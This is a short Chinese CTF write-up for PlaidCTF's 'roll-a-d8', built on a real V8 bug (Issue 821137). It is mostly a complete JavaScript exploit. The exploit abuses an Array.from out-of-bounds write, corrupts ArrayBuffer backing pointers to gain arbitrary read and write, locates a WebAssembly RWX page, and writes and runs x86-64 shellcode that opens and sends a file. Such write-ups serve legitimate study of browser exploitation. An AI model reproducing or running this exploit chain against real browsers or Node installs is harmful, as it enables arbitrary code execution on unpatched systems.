
pwn· 更新于 2025-03-14
PlaidCTF-roll-a-d8
PlaidCTF-roll-a-d8
该漏洞是一个真实的漏洞Issue 821137
首先是利用 POC 造溢出,然后通过 Function–>shared_info->code->wasm function 去读 rwx 段地址
最后写 shellcode 执行
debug 编译出来的,数组溢出会有些小问题,最终还是得 release
gc 回收后,多个数组间的距离也会拉的很近,相对来说方便任意读写一点
exp
const buf = new ArrayBuffer(8);
const dv = new DataView(buf);
var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new Uint32Array(raw_buf);
function p64() {
if (arguments.length === 1) {
l_buf[0] = Number(arguments[0] & (0xFFFFFFFF));
l_buf[1] = parseInt((arguments[0] - l_buf[0]) / 0x100000000);
return d_buf[0];
} else if (arguments.length === 2) {
l_buf[0] = arguments[0];
l_buf[1] = arguments[1];
return d_buf[0];
}
}
function u64(val) {
d_buf[0] = val;
return l_buf[1] * 0x100000000 + l_buf[0];
}
function u64_l(val) {
d_buf[0] = val;
return l_buf[0];
}
function u64_h(val) {
d_buf[0] = val;
return l_buf[1];
}
function gc() {
log("gc");
for (let i = 0; i < 0x10; i++) {
new Array(0x1000000);
}
}
function hex(x) {
return x.toString(16);
}
function printhex() {
if (arguments.length === 1) {
console.log(`\u001b[32m[+]Hex: \u001b[0m0x${arguments[0].toString(16)}`);
} else if (arguments.length === 2) {
console.log(`\u001b[32m[+]${arguments[0]}: \u001b[0m0x${arguments[1].toString(16)}`);
}
}
function log() {
output = `\u001b[32m[+]${arguments[0]}\u001b[0m`;
for (let i = 1; i < arguments.length; i++) {
output += arguments[i];
}
console.log(output);
}
function warn() {
output = `\u001b[31m[+]${arguments[0]}\u001b[0m`;
for (let i = 1; i < arguments.length; i++) {
output += arguments[i];
}
console.log(output);
}
function farrdump(float_arr, start, end) {
for (let i = start; i < end; i++) {
printhex(`arr[${i}]`, u64(float_arr[i]));
}
}
function iarrdump(int_arr, start, end) {
for (let i = start; i < end; i++) {
printhex(`arr[${i}]`, int_arr[i]);
}
}
var arrayBuffer = new ArrayBuffer(0x1000);
const shellcode = new Uint8Array([0x48, 0xb8, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x50, 0x48, 0xb8, 0x2e, 0x67, 0x6d, 0x60, 0x66, 0x1, 0x1, 0x1, 0x48, 0x31, 0x4, 0x24, 0x6a, 0x2, 0x58, 0x48, 0x89, 0xe7, 0x31, 0xf6, 0x99, 0xf, 0x5, 0x41, 0xba, 0xff, 0xff, 0xff, 0x7f, 0x48, 0x89, 0xc6, 0x6a, 0x28, 0x58, 0x6a, 0x1, 0x5f, 0x99, 0xf, 0x5]);
// open sendfile
const wasmCode = new Uint8Array([0x00, 0x61, 0x73, 0x6D, 0x01, 0x00, 0x00, 0x00, 0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60, 0x00, 0x01, 0x7F, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x04, 0x84, 0x80, 0x80, 0x80, 0x00, 0x01, 0x70, 0x00, 0x00, 0x05, 0x83, 0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x01, 0x06, 0x81, 0x80, 0x80, 0x80, 0x00, 0x00, 0x07, 0x91, 0x80, 0x80, 0x80, 0x00, 0x02, 0x06, 0x6D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x02, 0x00, 0x04, 0x6D, 0x61, 0x69, 0x6E, 0x00, 0x00, 0x0A, 0x8A, 0x80, 0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x2A, 0x0B]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;
var oobArray = [1.1, 2.2];
var obj = [];
var data_buf = [];
var maxSize = 1024 * 8;
Array.from.call(function () { return oobArray }, {
[Symbol.iterator]: _ => (
{
counter: 0,
next() {
let result = this.counter++;
if (this.counter > maxSize) {
oobArray.length = 1;
oobArray[0] = 3.3;
data_buf.push(new ArrayBuffer(0x100));
let o = { mark: 1111222233334444, obj: func };
obj.push(o);
return { done: true };
} else {
return { value: result, done: false };
}
}
}
)
});
gc();
log("oobArray");
% DebugPrint(oobArray);
log("func");
% DebugPrint(func);
log("arrayBuffer");
% DebugPrint(arrayBuffer);
log("data_buf");
% DebugPrint(data_buf);
log("obj");
% DebugPrint(obj);
// % SystemBreak();
farrdump(oobArray, 0, 0x10);
heap = u64(oobArray[5]);
obj_element = u64(oobArray[0x2f]);
printhex("heap", heap);
printhex("obj_element", obj_element);
oobArray[5] = p64(obj_element - 1);
log("data_buf[0]");
% DebugPrint(data_buf[0]);
var float_arr1 = new Float64Array(data_buf[0]);
var func_addr = u64(float_arr1[4]);
printhex("func_addr", func_addr);
oobArray[5] = p64(func_addr - 1);
var float_arr2 = new Float64Array(data_buf[0]);
var code_addr = u64(float_arr2[6]);
printhex("code_addr", code_addr);
oobArray[5] = p64(code_addr + 0x71);
var float_arr3 = new Float64Array(data_buf[0]);
var rwx_addr = u64(float_arr3[0]);
printhex("rwx_addr", rwx_addr);
oobArray[5] = p64(rwx_addr);
var shellcode_arr = new Uint8Array(data_buf[0]);
for (let i = 0; i < shellcode.length; i++) {
shellcode_arr[i] = shellcode[i];
}
% SystemBreak();
func();
评论


